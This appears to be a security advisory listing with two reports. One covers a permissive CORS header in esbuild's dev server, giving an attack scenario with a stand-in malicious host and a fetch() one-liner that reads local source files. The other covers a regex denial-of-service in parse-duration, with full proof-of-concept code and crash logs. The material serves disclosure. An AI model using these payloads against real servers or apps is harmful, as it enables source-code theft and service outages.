Version Details and Security Vulnerabilities

Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

Details

esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:8000/main.js.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

• Fetching /index.html: normally you have a script tag here
• Fetching /assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
• Connecting /esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))
• Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

PoC

1. Download reproduction.zip
2. Extract it and move to that directory
3. Run npm i
4. Run npm run watch
5. Run fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.

Impact

Users using the serve feature may get the source code stolen by malicious websites.

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string of length 198500000 (size: 189.30 MB):

<--- Last few GCs --->

[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed


<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----

 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 4: 0x11180d5  [node]
 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6  [node]
Aborted (core dumped)

You can note that:

1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)
2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function
3. A 200 MB of input size already causes JavaScript heap out of memory crash

However, more interestingly, if we focus on the input string case:

const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:

Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
    .replace(durationRE, (_, n, units) => {
     ^

RangeError: Maximum call stack size exceeded
    at String.replace (<anonymous>)
    at parse (file:///workspaces/parse-duration/index.js:21:6)
    at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
    at file:///workspaces/parse-duration/redos.js:89:12
    at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
    at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
    at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)

Node.js v20.18.1

To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.

Impact

• I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
• In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
• Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.